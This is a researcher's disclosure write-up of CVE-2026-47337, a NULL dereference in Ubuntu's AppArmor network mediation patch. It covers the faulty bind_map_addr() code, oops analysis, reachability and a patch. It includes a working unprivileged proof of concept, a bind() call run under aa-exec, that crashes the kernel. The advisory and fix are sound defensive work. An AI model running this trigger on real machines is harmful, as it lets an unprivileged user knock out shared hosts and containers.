_._     _,-'""`-._
(,-.`._,'(       |\`-/|
    `-.-' \ )-`( , o o)
          `-    \`_`"'-

CVE-2026-47337: one bind() and Ubuntu's AppArmor 5.0 walks off a NULL

2026-05-28 · linuxapparmorkernelubuntucvenull-deref

Ubuntu Resolute (26.04 LTS) ships an AppArmor 5.0 extension that exists only in the Ubuntu kernel tree: a ~1500-line "fine grained ipv4/ipv6 mediation" SAUCE patch. Inside it is a function that dereferences a pointer one branch before it gets assigned. Any unprivileged user can ride that pointer into a kernel oops with a single bind() syscall — no userns, no capabilities, no kernel modules, no sudo. aa-exec(8) is in $PATH and the unprivileged_userns profile is preloaded; that's the whole prerequisite list.

$ aa-exec -p unprivileged_userns -- ./poc
Killed
$ dmesg | tail
... BUG: kernel NULL pointer dereference, address: 0x4
... RIP: aa_inet_bind_perm+0x188/0x3a0
... UID: 1000  PID: ...  Comm: poc

This is purely Canonical SAUCE. The function does not exist in upstream Linux, and no other distribution is affected. Reported to Ubuntu Security on 2026-04-27, fixed and embargo-lifted on 2026-05-28, assigned CVE-2026-47337 through Ubuntu's CNA.

TL;DR

The bug

security/apparmor/af_inet.c, around line 175, bind_map_addr(). Here it is, trimmed to the relevant arms:

static int bind_map_addr(const struct sock *sk,
                         struct sockaddr *addr, int addrlen,
                         struct match_addr *maddr,
                         struct apparmor_audit_data *ad)
{
        struct sockaddr_in  *addr4 = NULL;     /* <-- declared NULL   */
        struct sockaddr_in6 *addr6 = NULL;
        u16 family;
        ...
        switch (addr->sa_family) {
        case AF_UNSPEC:
                if (sk->sk_family == PF_INET6) {
                        if (addrlen < SIN6_LEN_RFC2133)
                                return -EINVAL;
                        return -EAFNOSUPPORT;
                }
                /* see __inet_bind(), we only want to allow
                 * AF_UNSPEC if the address is INADDR_ANY
                 */
                if (addr4->sin_addr.s_addr != htonl(INADDR_ANY))
                                              /* <-- addr4 is still NULL here */
                        return -EAFNOSUPPORT;
                family = AF_INET;
                fallthrough;
        case AF_INET:
                addr4 = (struct sockaddr_in *)addr;   /* <-- assignment lives HERE, */
                ...                                   /*     one branch too late.   */

The author meant to mirror upstream __inet_bind()'s rule that an AF_UNSPEC bind is only permitted when the address is INADDR_ANY. They wrote the cast in the AF_INET arm. The check sits in the AF_UNSPEC arm and runs first. When sk->sk_family != PF_INET6 you walk straight off the end of NULL and read four bytes at offset 0x4 — the sin_addr.s_addr of the sockaddr_in that was never there.

map_addr() ten lines above does the exact same parse correctly, so this reads like a copy/paste where the cast ended up in the wrong arm — the kind of thing that's easy to miss without a test that exercises the AF_UNSPEC path.

The faulting instruction

You don't have to take the source's word for it — the oops disassembly spells it out. The compiler folded addr4->sin_addr.s_addr with addr4 == NULL into an absolute load from the immediate address 0x4:

RIP: 0010:aa_inet_bind_perm+0x188/0x3a0
Code: ... 0f 84 e9 01 00 00 <8b> 0c 25 04 00 00 00 85 c9 ...
                            ^^^^^^^^^^^^^^^^^^^^^
                            mov ecx, DWORD PTR ds:0x4
CR2: 0000000000000004

8b 0c 25 04 00 00 00 is mov ecx,[0x4] with no base register — a hard-coded read of kernel virtual address 4. That is exactly what addr4->sin_addr.s_addr compiles to when the base pointer is a compile-time-unknown NULL and the field offset is 4. bind_map_addr() gets inlined into aa_inet_bind_perm, which is why the RIP shows the caller.

Reachability

sys_bind
 -> security_socket_bind
 -> apparmor_socket_bind        (PF_INET branch)
 -> aa_inet_bind_perm
 -> sk_has_perm1(...)           <-- short-circuits for unconfined labels
 -> bind_map_addr               <-- BOOM

The one gate is that the calling label has to actually mediate AA_CLASS_NET. A bare unconfined login shell does not, so you can't just compile and run the PoC from your $HOME and expect a crash. But aa-exec(8) into the unprivileged_userns profile — shipped by default on Resolute, the same profile from the userns-mitigation-bypass postdoes mediate net. No caps, no userns creation, no setuid, no group membership.

And it's loud. trinity --group=net running as the same unprivileged user random-walks sa_family into this within a couple of minutes, cold. If you fuzz Resolute at all you have probably already hit it and written it off as "some apparmor thing."

Repro

The entire exploit is 88 lines and most of them are the comment block. The operative part:

#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void) {
        int s = socket(AF_INET, SOCK_DGRAM, 0);
        struct sockaddr_in sa = { .sin_family = AF_UNSPEC,
                                  .sin_addr.s_addr = htonl(0xdeadbeef) };
        return bind(s, (struct sockaddr *)&sa, sizeof(sa));
}
$ gcc -O2 -o poc poc.c
$ aa-exec -p unprivileged_userns -- ./poc
Killed
$ sudo dmesg | tail -20
[ 4331.673012] BUG: kernel NULL pointer dereference, address: 0000000000000004
[ 4331.675354] #PF: supervisor read access in kernel mode
[ 4331.676949] #PF: error_code(0x0000) - not-present page
[ 4331.679547] Oops: Oops: 0000 [#1] SMP PTI
[ 4331.680869] CPU: 2 UID: 1000 PID: 6090 Comm: poc Tainted: G
[ 4331.687982] RIP: 0010:aa_inet_bind_perm+0x188/0x3a0
[ 4331.711249] CR2: 0000000000000004
[ 4331.713373] Call Trace:
[ 4331.715146]  apparmor_socket_bind+0x68/0x80
[ 4331.716516]  security_socket_bind+0x8a/0x1b0
[ 4331.717917]  __sys_bind+0xa5/0x130
[ 4331.719104]  __x64_sys_bind+0x18/0x30
[ 4331.722894]  do_syscall_64+0x115/0x5a0
[ 4331.727090]  entry_SYSCALL_64_after_hwframe+0x76/0x7e

That's it. That's the whole thing. Full dmesg from a clean install — including the change_onexec ... name="unprivileged_userns" audit line that immediately precedes each oops, three crashes back to back from a loop — is in oops-splat.log below.

Impact

It is what it looks like: a NULL deref, fixed offset 0x4, supervisor read. mmap_min_addr=65536 by default so you can't map page 0 to plant a fake sockaddr_in there, and KPTI keeps the kernel from reading your user pages without an explicit usercopy.

What I do have:

Classification: CWE-476 NULL pointer dereference, local DoS, unprivileged trigger, attack complexity nil. CVSSv3 around 5.5 (AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H); the panic_on_oops=1 case bumps the availability story considerably.

Yes, I know NULL derefs aren't sexy. This one lives in the LSM hook that runs on every bind() in every container on every host that ever loaded one of the dozens of stock Resolute profiles. It's still worth a number, and Ubuntu agreed.

The fix

One line. Move the cast above the check:

--- a/security/apparmor/af_inet.c
+++ b/security/apparmor/af_inet.c
@@ -200,6 +200,7 @@ static int bind_map_addr(const struct sock *sk,
                         return -EINVAL;
                 return -EAFNOSUPPORT;
         }
+       addr4 = (struct sockaddr_in *)addr;
         /* see __inet_bind(), we only want to allow
          * AF_UNSPEC if the address is INADDR_ANY
          */
         if (addr4->sin_addr.s_addr != htonl(INADDR_ANY))
                 return -EAFNOSUPPORT;

While you're in there: also reject addrlen < sizeof(struct sockaddr_in) before this check. Right now you can reach it with addrlen as low as offsetofend(sa_family) and read off the end of whatever the user handed you. map_addr() at line ~106 already does this — worth mirroring.

Postscript: it's a NULL deref, not a UAF

The artifacts and the original tarball are named aa-bind-uaf-* and the crashing binary reports Comm: aa-bind-uaf. That's a fossil. My first read of the splat — faulting on a small fixed address inside a freed-looking parse path — made me reach for "use-after-free" before I'd actually read the SAUCE source. It is not a UAF. The pointer was never assigned in the first place; 0x4 is a struct offset off NULL, not a dangling allocation. Mea culpa, the file names stuck. CWE-476, full stop.

Downloads

SHA-256:

808a817764bd80ae0269c3077701d57f41a3c6bf21a63ca7074a75d6daac6485  poc.c
58b05dde1f3cebd9c172338029e4398077854e36dd01acf1435b17066f15a0d0  oops-splat.log

Affected

Timeline

DateEvent
2026-04-27Reported to security@ubuntu.com, cc John Johansen. PoC + full advisory + oops log attached.
2026-05-28Embargo lifted by Ubuntu Security. CVE-2026-47337 assigned via Ubuntu's CNA. This writeup published.

For once I held the details until patch and CVE publication instead of racing the embargo. (I have, ah, broken other people's embargoes unintentionally before — see Copy Fail 2 and the ssh-keysign-pwn n-day. Trying harder to be a responsible adult about this. It's a process.)

Thanks

Thanks to the Ubuntu Security team for handling this cleanly and quickly, for agreeing it was worth a number, and for being relaxed about the disclosure mechanics. Responsible disclosure works a lot better when the vendor meets you halfway.